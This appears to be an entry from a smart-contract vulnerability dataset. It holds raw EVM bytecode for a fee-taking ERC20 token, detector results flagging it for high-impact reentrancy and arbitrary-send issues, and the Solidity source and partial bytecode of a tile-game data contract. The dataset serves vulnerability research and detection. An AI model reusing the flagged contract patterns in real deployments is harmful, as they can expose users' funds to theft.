b565b5b505b505b61146c83838361189a565b505050565b60008383111582906114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b09190612492565b60405180910390fd5b50600083856114c8919061294b565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561150d5761150c612aa6565b5b60405190808252806020026020018201604052801561153b5781602001602082028036833780820191505090505b509050308160008151811061155357611552612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115f557600080fd5b505afa158015611609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162d9190611f72565b8160018151811061164157611640612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116a830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161170c95949392919061262f565b600060405180830381600087803b15801561172657600080fd5b505af115801561173a573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b60006005548211156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b906124d4565b60405180910390fd5b60006117ae6118aa565b90506117c38184610e9b90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611833573d6000803e3d6000fd5b5050565b6000808311829061187e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118759190612492565b60405180910390fd5b506000838561188d919061274f565b9050809150509392505050565b6118a58383836118d5565b505050565b60008060006118b7611aa0565b915091506118ce8183610e9b90919063ffffffff16565b9250505090565b6000806000806000806118e787611b3b565b95509550955095509550955061194586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2681611c4b565b611a308483611d08565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a8d9190612614565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611aba91906127d3565b6305f5e100611ac991906128f1565b9050611afc6006600a611adc91906127d3565b6305f5e100611aeb91906128f1565b600554610e9b90919063ffffffff16565b821015611b2e576005546006600a611b1491906127d3565b6305f5e100611b2391906128f1565b935093505050611b37565b81819350935050505b9091565b6000806000806000806000806000611b588a600754600854611d42565b9250925092506000611b686118aa565b90506000806000611b7b8e878787611dd8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611be583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611471565b905092915050565b6000808284611bfc91906126f9565b905083811015611c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3890612534565b60405180910390fd5b8091505092915050565b6000611c556118aa565b90506000611c6c8284611e6190919063ffffffff16565b9050611cc081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d1d82600554611ba390919063ffffffff16565b600581905550611d3881600654611bed90919063ffffffff16565b6006819055505050565b600080600080611d6e6064611d60888a611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611d986064611d8a888b611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611dc182611db3858c611ba390919063ffffffff16565b611ba390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611df18589611e6190919063ffffffff16565b90506000611e088689611e6190919063ffffffff16565b90506000611e1f8789611e6190919063ffffffff16565b90506000611e4882611e3a8587611ba390919063ffffffff16565b611ba390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e745760009050611ed6565b60008284611e8291906128f1565b9050828482611e91919061274f565b14611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec890612574565b60405180910390fd5b809150505b92915050565b600081359050611eeb81612dc5565b92915050565b600081519050611f0081612dc5565b92915050565b600081519050611f1581612ddc565b92915050565b600081359050611f2a81612df3565b92915050565b600081519050611f3f81612df3565b92915050565b600060208284031215611f5b57611f5a612ad5565b5b6000611f6984828501611edc565b91505092915050565b600060208284031215611f8857611f87612ad5565b5b6000611f9684828501611ef1565b91505092915050565b60008060408385031215611fb657611fb5612ad5565b5b6000611fc485828601611edc565b9250506020611fd585828601611edc565b9150509250929050565b600080600060608486031215611ff857611ff7612ad5565b5b600061200686828701611edc565b935050602061201786828701611edc565b925050604061202886828701611f1b565b9150509250925092565b6000806040838503121561204957612048612ad5565b5b600061205785828601611edc565b925050602061206885828601611f1b565b9150509250929050565b60006020828403121561208857612087612ad5565b5b600061209684828501611f06565b91505092915050565b6000602082840312156120b5576120b4612ad5565b5b60006120c384828501611f1b565b91505092915050565b6000806000606084860312156120e5576120e4612ad5565b5b60006120f386828701611f30565b935050602061210486828701611f30565b925050604061211586828701611f30565b9150509250925092565b600061212b8383612137565b60208301905092915050565b6121408161297f565b82525050565b61214f8161297f565b82525050565b6000612160826126b4565b61216a81856126d7565b9350612175836126a4565b8060005b838110156121a657815161218d888261211f565b9750612198836126ca565b925050600181019050612179565b5085935050505092915050565b6121bc81612991565b82525050565b6121cb816129d4565b82525050565b60006121dc826126bf565b6121e681856126e8565b93506121f68185602086016129e6565b6121ff81612ada565b840191505092915050565b60006122176023836126e8565b915061222282612af8565b604082019050919050565b600061223a602a836126e8565b915061224582612b47565b604082019050919050565b600061225d6022836126e8565b915061226882612b96565b604082019050919050565b60006122806017836126e8565b915061228b82612be5565b602082019050919050565b60006122a3601b836126e8565b91506122ae82612c0e565b602082019050919050565b60006122c6601a836126e8565b91506122d182612c37565b602082019050919050565b60006122e96021836126e8565b91506122f482612c60565b604082019050919050565b600061230c6020836126e8565b915061231782612caf565b602082019050919050565b600061232f6029836126e8565b915061233a82612cd8565b604082019050919050565b60006123526025836126e8565b915061235d82612d27565b604082019050919050565b60006123756024836126e8565b915061238082612d76565b604082019050919050565b612394816129bd565b82525050565b6123a3816129c7565b82525050565b60006020820190506123be6000830184612146565b92915050565b60006040820190506123d96000830185612146565b6123e66020830184612146565b9392505050565b60006040820190506124026000830185612146565b61240f602083018461238b565b9392505050565b600060c08201905061242b6000830189612146565b612438602083018861238b565b61244560408301876121c2565b61245260608301866121c2565b61245f6080830185612146565b61246c60a083018461238b565b979650505050505050565b600060208201905061248c60008301846121b3565b92915050565b600060208201905081810360008301526124ac81846121d1565b905092915050565b600060208201905081810360008301526124cd8161220a565b9050919050565b600060208201905081810360008301526124ed8161222d565b9050919050565b6000602082019050818103600083015261250d81612250565b9050919050565b6000602082019050818103600083015261252d81612273565b9050919050565b6000602082019050818103600083015261254d81612296565b9050919050565b6000602082019050818103600083015261256d816122b9565b9050919050565b6000602082019050818103600083015261258d816122dc565b9050919050565b600060208201905081810360008301526125ad816122ff565b9050919050565b600060208201905081810360008301526125cd81612322565b9050919050565b600060208201905081810360008301526125ed81612345565b9050919050565b6000602082019050818103600083015261260d81612368565b9050919050565b6000602082019050612629600083018461238b565b92915050565b600060a082019050612644600083018861238b565b61265160208301876121c2565b81810360408301526126638186612155565b90506126726060830185612146565b61267f608083018461238b565b9695505050505050565b600060208201905061269e600083018461239a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612704826129bd565b915061270f836129bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561274457612743612a19565b5b828201905092915050565b600061275a826129bd565b9150612765836129bd565b92508261277557612774612a48565b5b828204905092915050565b6000808291508390505b60018511156127ca578086048111156127a6576127a5612a19565b5b60018516156127b55780820291505b80810290506127c385612aeb565b945061278a565b94509492505050565b60006127de826129bd565b91506127e9836129c7565b92506128167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281e565b905092915050565b60008261282e57600190506128ea565b8161283c57600090506128ea565b8160018114612852576002811461285c5761288b565b60019150506128ea565b60ff84111561286e5761286d612a19565b5b8360020a91508482111561288557612884612a19565b5b506128ea565b5060208310610133831016604e8410600b84101617156128c05782820a9050838111156128bb576128ba612a19565b5b6128ea565b6128cd8484846001612780565b925090508184048111156128e4576128e3612a19565b5b81810290505b9392505050565b60006128fc826129bd565b9150612907836129bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129405761293f612a19565b5b828202905092915050565b6000612956826129bd565b9150612961836129bd565b92508282101561297457612973612a19565b5b828203905092915050565b600061298a8261299d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129df826129bd565b9050919050565b60005b83811015612a045780820151818401526020810190506129e9565b83811115612a13576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dce8161297f565b8114612dd957600080fd5b50565b612de581612991565b8114612df057600080fd5b50565b612dfc816129bd565b8114612e0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122076cf0cf7841fdadd94f0cd2d777a7cb84d5d9d8d93d9fca494e0a751fd91c56764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,098
0xbff31886b38fc274e24c1ecd1a01ad1f25aa1c53
pragma solidity ^0.4.21; library BWUtility { // -------- UTILITY FUNCTIONS ---------- // Return next higher even _multiple for _amount parameter (e.g used to round up to even finneys). function ceil(uint _amount, uint _multiple) pure public returns (uint) { return ((_amount + _multiple - 1) / _multiple) * _multiple; } // Checks if two coordinates are adjacent: // xxx // xox // xxx // All x (_x2, _xy2) are adjacent to o (_x1, _y1) in this ascii image. // Adjacency does not wrapp around map edges so if y2 = 255 and y1 = 0 then they are not ajacent function isAdjacent(uint8 _x1, uint8 _y1, uint8 _x2, uint8 _y2) pure public returns (bool) { return ((_x1 == _x2 && (_y2 - _y1 == 1 || _y1 - _y2 == 1))) || // Same column ((_y1 == _y2 && (_x2 - _x1 == 1 || _x1 - _x2 == 1))) || // Same row ((_x2 - _x1 == 1 && (_y2 - _y1 == 1 || _y1 - _y2 == 1))) || // Right upper or lower diagonal ((_x1 - _x2 == 1 && (_y2 - _y1 == 1 || _y1 - _y2 == 1))); // Left upper or lower diagonal } // Converts (x, y) to tileId xy function toTileId(uint8 _x, uint8 _y) pure public returns (uint16) { return uint16(_x) << 8 | uint16(_y); } // Converts _tileId to (x, y) function fromTileId(uint16 _tileId) pure public returns (uint8, uint8) { uint8 y = uint8(_tileId); uint8 x = uint8(_tileId >> 8); return (x, y); } function getBoostFromTile(address _claimer, address _attacker, address _defender, uint _blockValue) pure public returns (uint, uint) { if (_claimer == _attacker) { return (_blockValue, 0); } else if (_claimer == _defender) { return (0, _blockValue); } } } contract BWData { address public owner; address private bwService; address private bw; address private bwMarket; uint private blockValueBalance = 0; uint private feeBalance = 0; uint private BASE_TILE_PRICE_WEI = 1 finney; // 1 milli-ETH. mapping (address => User) private users; // user address -> user information mapping (uint16 => Tile) private tiles; // tileId -> list of TileClaims for that particular tile // Info about the users = those who have purchased tiles. struct User { uint creationTime; bool censored; uint battleValue; } // Info about a tile ownership struct Tile { address claimer; uint blockValue; uint creationTime; uint sellPrice; // If 0 -> not on marketplace. If > 0 -> on marketplace. } struct Boost { uint8 numAttackBoosts; uint8 numDefendBoosts; uint attackBoost; uint defendBoost; } constructor() public { owner = msg.sender; } // Can't send funds straight to this contract. Avoid people sending by mistake. function () payable public { revert(); } function kill() public isOwner { selfdestruct(owner); } modifier isValidCaller { if (msg.sender != bwService && msg.sender != bw && msg.sender != bwMarket) { revert(); } _; } modifier isOwner { if (msg.sender != owner) { revert(); } _; } function setBwServiceValidCaller(address _bwService) public isOwner { bwService = _bwService; } function setBwValidCaller(address _bw) public isOwner { bw = _bw; } function setBwMarketValidCaller(address _bwMarket) public isOwner { bwMarket = _bwMarket; } // ----------USER-RELATED GETTER FUNCTIONS------------ //function getUser(address _user) view public returns (bytes32) { //BWUtility.User memory user = users[_user]; //require(user.creationTime != 0); //return (user.creationTime, user.imageUrl, user.tag, user.email, user.homeUrl, user.creationTime, user.censored, user.battleValue); //} function addUser(address _msgSender) public isValidCaller { User storage user = users[_msgSender]; require(user.creationTime == 0); user.creationTime = block.timestamp; } function hasUser(address _user) view public isValidCaller returns (bool) { return users[_user].creationTime != 0; } // ----------TILE-RELATED GETTER FUNCTIONS------------ function getTile(uint16 _tileId) view public isValidCaller returns (address, uint, uint, uint) { Tile storage currentTile = tiles[_tileId]; return (currentTile.claimer, currentTile.blockValue, currentTile.creationTime, currentTile.sellPrice); } function getTileClaimerAndBlockValue(uint16 _tileId) view public isValidCaller returns (address, uint) { Tile storage currentTile = tiles[_tileId]; return (currentTile.claimer, currentTile.blockValue); } function isNewTile(uint16 _tileId) view public isValidCaller returns (bool) { Tile storage currentTile = tiles[_tileId]; return currentTile.creationTime == 0; } function storeClaim(uint16 _tileId, address _claimer, uint _blockValue) public isValidCaller { tiles[_tileId] = Tile(_claimer, _blockValue, block.timestamp, 0); } function updateTileBlockValue(uint16 _tileId, uint _blockValue) public isValidCaller { tiles[_tileId].blockValue = _blockValue; } function setClaimerForTile(uint16 _tileId, address _claimer) public isValidCaller { tiles[_tileId].claimer = _claimer; } function updateTileTimeStamp(uint16 _tileId) public isValidCaller { tiles[_tileId].creationTime = block.timestamp; } function getCurrentClaimerForTile(uint16 _tileId) view public isValidCaller returns (address) { Tile storage currentTile = tiles[_tileId]; if (currentTile.creationTime == 0) { return 0; } return currentTile.claimer; } function getCurrentBlockValueAndSellPriceForTile(uint16 _tileId) view public isValidCaller returns (uint, uint) { Tile storage currentTile = tiles[_tileId]; if (currentTile.creationTime == 0) { return (0, 0); } return (currentTile.blockValue, currentTile.sellPrice); } function getBlockValueBalance() view public isValidCaller returns (uint){ return blockValueBalance; } function setBlockValueBalance(uint _blockValueBalance) public isValidCaller { blockValueBalance = _blockValueBalance; } function getFeeBalance() view public isValidCaller returns (uint) { return feeBalance; } function setFeeBalance(uint _feeBalance) public isValidCaller { feeBalance = _feeBalance; } function getUserBattleValue(address _userId) view public isValidCaller returns (uint) { return users[_userId].battleValue; } function setUserBattleValue(address _userId, uint _battleValue) public isValidCaller { users[_userId].battleValue = _battleValue; } function verifyAmount(address _msgSender, uint _msgValue, uint _amount, bool _useBattleValue) view public isValidCaller { User storage user = users[_msgSender]; require(user.creationTime != 0); if (_useBattleValue) { require(_msgValue == 0); require(user.battleValue >= _amount); } else { require(_amount == _msgValue); } } function addBoostFromTile(Tile _tile, address _attacker, address _defender, Boost memory _boost) pure private { if (_tile.claimer == _attacker) { require(_boost.attackBoost + _tile.blockValue >= _tile.blockValue); // prevent overflow _boost.attackBoost += _tile.blockValue; _boost.numAttackBoosts += 1; } else if (_tile.claimer == _defender) { require(_boost.defendBoost + _tile.blockValue >= _tile.blockValue); // prevent overflow _boost.defendBoost += _tile.blockValue; _boost.numDefendBoosts += 1; } } function calculateBattleBoost(uint16 _tileId, address _attacker, address _defender) view public isValidCaller returns (uint, uint) { uint8 x; uint8 y; (x, y) = BWUtility.fromTileId(_tileId); Boost memory boost = Boost(0, 0, 0, 0); // We overflow x, y on purpose here if x or y is 0 or 255 - the map overflows and so should adjacency. // Go through all adjacent tiles to (x, y). if (y != 255) { if (x != 255) { addBoostFromTile(tiles[BWUtility.toTileId(x+1, y+1)], _attacker, _defender, boost); } addBoostFromTile(tiles[BWUtility.toTileId(x, y+1)], _attacker, _defender, boost); if (x != 0) { addBoostFromTile(tiles[BWUtility.toTileId(x-1, y+1)], _attacker, _defender, boost); } } if (x != 255) { addBoostFromTile(tiles[BWUtility.toTileId(x+1, y)], _attacker, _defender, boost); } if (x != 0) { addBoostFromTile(tiles[BWUtility.toTileId(x-1, y)], _attacker, _defender, boost); } if (y != 0) { if(x != 255) { addBoostFromTile(tiles[BWUtility.toTileId(x+1, y-1)], _attacker, _defender, boost); } addBoostFromTile(tiles[BWUtility.toTileId(x, y-1)], _attacker, _defender, boost); if(x != 0) { addBoostFromTile(tiles[BWUtility.toTileId(x-1, y-1)], _attacker, _defender, boost); } } // The benefit of boosts is multiplicative (quadratic): // - More boost tiles gives a higher total blockValue (the sum of the adjacent tiles) // - More boost tiles give a higher multiple of that total blockValue that can be used (10% per adjacent tie) // Example: // A) I boost attack with 1 single tile worth 10 finney // -> Total boost is 10 * 1 / 10 = 1 finney // B) I boost attack with 3 tiles worth 1 finney each // -> Total boost is (1+1+1) * 3 / 10 = 0.9 finney // C) I boost attack with 8 tiles worth 2 finney each // -> Total boost is (2+2+2+2+2+2+2+2) * 8 / 10 = 14.4 finney // D) I boost attack with 3 tiles of 1, 5 and 10 finney respectively // -> Total boost is (ss1+5+10) * 3 / 10 = 4.8 finney // This division by 10 can't create fractions since our uint is wei, and we can't have overflow from the multiplication // We do allow fractions of finney here since the boosted values aren't stored anywhere, only used for attack rolls and sent in events boost.attackBoost = (boost.attackBoost / 10 * boost.numAttackBoosts); boost.defendBoost = (boost.defendBoost / 10 * boost.numDefendBoosts); return (boost.attackBoost, boost.defendBoost); } function censorUser(address _userAddress, bool _censored) public isValidCaller { User storage user = users[_userAddress]; require(user.creationTime != 0); user.censored = _censored; } function deleteTile(uint16 _tileId) public isValidCaller { delete tiles[_tileId]; } function setSellPrice(uint16 _tileId, uint _sellPrice) public isValidCaller { tiles[_tileId].sellPrice = _sellPrice; //testrpc cannot estimate gas when delete is used. } function deleteOffer(uint16 _tileId) public isValidCaller { tiles[_tileId].sellPrice = 0; //testrpc cannot estimate gas when delete is used. } }
0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063220fde2e1461016f5780632620f61c146101aa5780632f54a61e14610205578063322148741461025657806341c0e1b5146102b9578063421b2d8b146102d057806347a992641461031357806357cc59411461035657806367c7f3a8146103ce57806377f122bd146104115780637d9c68f71461043e5780638580eb2f146104955780638da5cb5b146104c25780638fa54b81146105195780639ea6954114610566578063a3ab5045146105a1578063a6c4ec0e146105ea578063aae40ddc14610645578063abd958eb146106b6578063ac2c8bb514610702578063b187b6b114610788578063bff10815146107b3578063c26181e0146107e4578063c7ceac9914610833578063cdde5413146108bf578063d4c30ceb146108f0578063e8cf958e1461091b578063f4010db01461095e575b600080fd5b34801561017b57600080fd5b506101a8600480360381019080803561ffff1690602001909291908035906020019092919050505061098f565b005b3480156101b657600080fd5b50610203600480360381019080803561ffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac6565b005b34801561021157600080fd5b50610254600480360381019080803561ffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c97565b005b34801561026257600080fd5b506102b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803515159060200190929190505050610e08565b005b3480156102c557600080fd5b506102ce610fb2565b005b3480156102dc57600080fd5b50610311600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611047565b005b34801561031f57600080fd5b50610354600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111ba565b005b34801561036257600080fd5b50610385600480360381019080803561ffff169060200190929190505050611259565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b3480156103da57600080fd5b5061040f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113bf565b005b34801561041d57600080fd5b5061043c6004803603810190808035906020019092919050505061145e565b005b34801561044a57600080fd5b5061047f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611578565b6040518082815260200191505060405180910390f35b3480156104a157600080fd5b506104c0600480360381019080803590602001909291905050506116d4565b005b3480156104ce57600080fd5b506104d76117ee565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052557600080fd5b50610564600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611813565b005b34801561057257600080fd5b5061059f600480360381019080803561ffff1690602001909291908035906020019092919050505061196e565b005b3480156105ad57600080fd5b506105d0600480360381019080803561ffff169060200190929190505050611aa5565b604051808215151515815260200191505060405180910390f35b3480156105f657600080fd5b5061062b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be5565b604051808215151515815260200191505060405180910390f35b34801561065157600080fd5b50610674600480360381019080803561ffff169060200190929190505050611d45565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c257600080fd5b506106e5600480360381019080803561ffff169060200190929190505050611eb9565b604051808381526020018281526020019250505060405180910390f35b34801561070e57600080fd5b50610731600480360381019080803561ffff16906020019092919050505061201f565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390f35b34801561079457600080fd5b5061079d612198565b6040518082815260200191505060405180910390f35b3480156107bf57600080fd5b506107e2600480360381019080803561ffff1690602001909291905050506122b2565b005b3480156107f057600080fd5b50610831600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506123e9565b005b34801561083f57600080fd5b506108a2600480360381019080803561ffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612571565b604051808381526020018281526020019250505060405180910390f35b3480156108cb57600080fd5b506108ee600480360381019080803561ffff169060200190929190505050613367565b005b3480156108fc57600080fd5b5061090561349d565b6040518082815260200191505060405180910390f35b34801561092757600080fd5b5061095c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506135b7565b005b34801561096a57600080fd5b5061098d600480360381019080803561ffff169060200190929190505050613656565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015610a3b5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b8015610a955750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15610a9f57600080fd5b80600860008461ffff1661ffff168152602001908152602001600020600301819055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015610b725750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b8015610bcc5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15610bd657600080fd5b6080604051908101604052808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020014281526020016000815250600860008561ffff1661ffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002015560608201518160030155905050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015610d435750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b8015610d9d5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15610da757600080fd5b80600860008461ffff1661ffff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015610eb65750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f105750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15610f1a57600080fd5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015414151515610f6f57600080fd5b8115610f9c57600084141515610f8457600080fd5b82816002015410151515610f9757600080fd5b610fab565b8383141515610faa57600080fd5b5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561100d57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156110f55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b801561114f5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561115957600080fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600081600001541415156111ad57600080fd5b4281600001819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561130a5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156113645750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561136e57600080fd5b600860008561ffff1661ffff16815260200190815260200160002090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600101549250925050915091565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffff